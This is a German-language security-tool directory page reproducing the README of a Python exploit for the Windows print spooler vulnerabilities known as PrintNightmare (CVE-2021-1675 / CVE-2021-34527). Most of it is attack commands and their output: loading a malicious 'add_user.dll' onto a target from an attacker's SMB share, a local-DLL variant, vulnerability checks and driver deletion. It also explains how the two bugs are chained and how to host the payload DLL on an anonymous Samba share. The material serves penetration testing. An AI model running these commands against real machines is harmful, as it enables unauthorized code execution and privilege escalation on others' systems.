Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
PrintNightmare — Python-Implementierung für PrintNightmare (CVE-2021-1675 / CVE-2021-34527) | Kitploit
Tools/GitHubGitHub/ly4k/printnightmare
Privilege EscalationSchwachstellenanalyseExploitationPenetrationstestsPayload-Entwicklung
GitHubly4k/printnightmare

PrintNightmare

Python-Implementierung für PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

Repository anzeigen
21333vor 4 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

PrintNightmare

Python-Implementierung für PrintNightmare (CVE-2021-1675 / CVE-2021-34527) mit Standard-Impacket.

Installation

root@kitploit:~
$ pip3 install impacket

Verwendung

root@kitploit:~
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

usage: printnightmare.py [-h] [-debug] [-port [destination port]] [-target-ip ip address] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address]
                         [-name driver name] [-env driver name] [-path driver path] [-dll driver dll] [-check] [-list] [-delete]
                         target

PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>

optional arguments:
  -h, --help            show this help message and exit
  -debug                Turn DEBUG output ON
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials
                        cannot be found, it will use the ones specified in the command line
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter

connection:
  -port [destination port]
                        Destination port to connect to MS-RPRN named pipe
  -target-ip ip address
                        IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the
                        NetBIOS name and you cannot resolve it

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

driver:
  -name driver name     Name for driver
  -env driver name      Environment for driver
  -path driver path     Driver path for driver
  -dll driver dll       Path to DLL

modes:
  -check                Check if target is vulnerable
  -list                 List existing printer drivers
  -delete               Deletes printer driver

Beispiele

Ausnutzung

Remote-DLL
root@kitploit:~
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL
Lokale DLL
root@kitploit:~
$ ./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: 'C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\add_user.dll'
[*] Loading DLL
[*] Successfully loaded DLL

Beachten Sie, dass das lokale DLL-Beispiel CVE-2021-34527 nicht missbraucht, um die DLL zu kopieren.

Benutzerdefinierter Name
root@kitploit:~
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' -name 'My Printer Driver' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
[*] Driver name: 'My Printer Driver'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL

$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
Name:               Microsoft XPS Document Writer v4
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_f340cb58fcd23202\MXDW.gpd
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               Microsoft Print To PDF
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_80184dcbef6775bc\MPDW-PDC.xml
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               My Printer Driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\UNIDRV.DLL
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Version:            3
----------------------------------------------------------------
Name:               Microsoft Shared Fax Driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\FXSDRV.DLL
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Version:            3
----------------------------------------------------------------
Name:               Microsoft enhanced Point and Print compatibility driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version:            3
----------------------------------------------------------------

Prüfen, ob das Ziel verwundbar ist

Ungepatchtes Windows 10
root@kitploit:~
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Target appears to be vulnerable!
Gepatchtes Windows Server 2022
root@kitploit:~
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[!] Target does not appear to be vulnerable

Vorhandene Druckertreiber auflisten

root@kitploit:~
$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
Name:               Microsoft XPS Document Writer v4
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_8bc7809b71930efc\MXDW.gpd
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               Microsoft Print To PDF
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_6dc3549941ff1a57\MPDW-PDC.xml
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               Microsoft enhanced Point and Print compatibility driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version:            3
----------------------------------------------------------------

Druckertreiber löschen

Erfordert möglicherweise Administratorrechte.

root@kitploit:~
$ ./printnightmare.py -delete -name 'Microsoft XPS Document Writer v5' 'administrator:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Deleted printer driver!

Details

PrintNightmare besteht aus zwei CVEs: CVE-2021-1675 / CVE-2021-34527.

CVE-2021-1675

Ein nicht-administrativer Benutzer darf einen neuen Druckertreiber hinzufügen. Diese Schwachstelle wurde behoben, indem nur noch Administratoren neue Druckertreiber hinzufügen dürfen. Eine gepatchte Version des Druckspoolers gibt RPC_E_ACCESS_DENIED (Code: 0x8001011b) zurück, wenn ein Nicht-Administrator versucht, einen neuen Druckertreiber hinzuzufügen.

CVE-2021-34527

Beim Hinzufügen eines neuen Druckertreibers erlaubt der Parameter pDataFile im DRIVER_CONTAINER UNC-Pfade. Die in pDataFile angegebene DLL wird jedoch nicht geladen, aber sie wird in einen lokalen Pfad kopiert, sodass wir einen neuen Druckertreiber erstellen können, dessen Parameter pConfigFile auf den lokalen Pfad zeigt und die DLL lädt. Eine gepatchte Version des Druckspoolers gibt ERROR_INVALID_PARAMETER (Code: 0x57) zurück.

Die Teile kombinieren

Nur CVE-2021-1675 ist erforderlich, wenn sich die schädliche DLL bereits auf dem Ziel befindet.

Für PrintNightmare kann CVE-2021-34527 verwendet werden, um die DLL über UNC-Pfade zu holen, wenn die DLL kein lokaler Pfad ist. Aus diesem Grund ist es notwendig, die DLL über SMB bereitzustellen. Wenn Sie mit SMB und UNC nicht vertraut sind, lesen Sie den folgenden Unterabschnitt.

Beim Erstellen eines neuen Druckertreibers wird die DLL im Parameter pDataFile aus Sicherheitsgründen nicht geladen. Sie wird jedoch in C:\Windows\system32\spool\drivers\x64\3\ kopiert. Danach könnten wir einen neuen Druckertreiber erstellen, der pConfigFile (das die DLL lädt) mit dem lokalen Pfad verwendet. Allerdings ist die DLL beim Erstellen des zweiten Druckertreibers noch durch den ersten Druckertreiber in Benutzung. Stattdessen könnten wir den ersten Druckertreiber überschreiben, wodurch die DLLs des Druckertreibers nach C:\Windows\system32\spool\drivers\x64\3\old\<I>\ kopiert werden, wobei <I> für jede DLL hochgezählt wird. Nun können wir einen dritten Druckertreiber erstellen, der den lokalen Pfad C:\Windows\system32\spool\drivers\x64\3\old\<I>\ verwendet, da die DLL nicht mehr in Benutzung ist. Jetzt muss nur noch <I> erraten werden, das ab 1 hochzählt.

Beachten Sie, dass die DLL ihren Dateinamen lokal behält. Wenn Sie den Exploit also zunächst mit foo.dll ausführen und diese unter C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll gespeichert wird, dann den Inhalt von foo.dll lokal ändern und den Exploit erneut ausführen, sodass sie nun unter C:\Windows\system32\spool\drivers\x64\3\old\5\foo.dll gespeichert wird, wird die ursprüngliche foo.dll verwendet, da sie sich unter C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll befindet. Ändern Sie in diesem Fall einfach den Dateinamen, wenn Sie den Inhalt der DLL ändern.

SMB und UNC

Kurz gesagt, ein UNC-Pfad ist ein Pfad zu einer Datei oder einem Ordner im Netzwerk und nicht zu einer lokalen Datei; er enthält den Servernamen und den Pfad. Beispielsweise ist der UNC-Pfad \\10.0.0.2\files\foo.txt eine Datei foo.txt, die über die Freigabe files des Servers 10.0.0.2 bereitgestellt wird. Normalerweise wird eine Freigabe über SMB bereitgestellt, aber WebDAV wird ebenfalls unterstützt. Um eine SMB-Freigabe unter Linux zu erstellen, ist die einfachste und zuverlässigste Methode die Verwendung des Pakets Samba.

Um Samba mit apt zu installieren:

root@kitploit:~
$ sudo apt install samba

Bearbeiten Sie die Datei /etc/samba/smb.conf und fügen Sie am Ende der Datei Folgendes hinzu:

root@kitploit:~
[smb]
    comment = Samba
    path = /tmp/share
    guest ok = yes
    read only = yes
    browsable = yes
    force user = nobody

Dadurch wird eine neue Freigabe namens smb erstellt und die Dateien in /tmp/share werden bereitgestellt. Sie erlaubt anonymen Zugriff, und der lokale Benutzer nobody wird zum Durchsuchen der Dateien verwendet.

Starten Sie den Samba-Dienst anschließend mit:

root@kitploit:~
$ sudo service smbd start

Angenommen, Ihre Linux-Maschine hat die IP 192.168.1.100 und Sie möchten die evil.dll bereitstellen, dann lautet der UNC-Pfad in diesem Szenario \\192.168.1.100\smb\evil.dll.

Autoren

  • @ly4k

Danksagungen

  • Die Implementierung von @cube0x0
  • Impacket
Tool herunterladen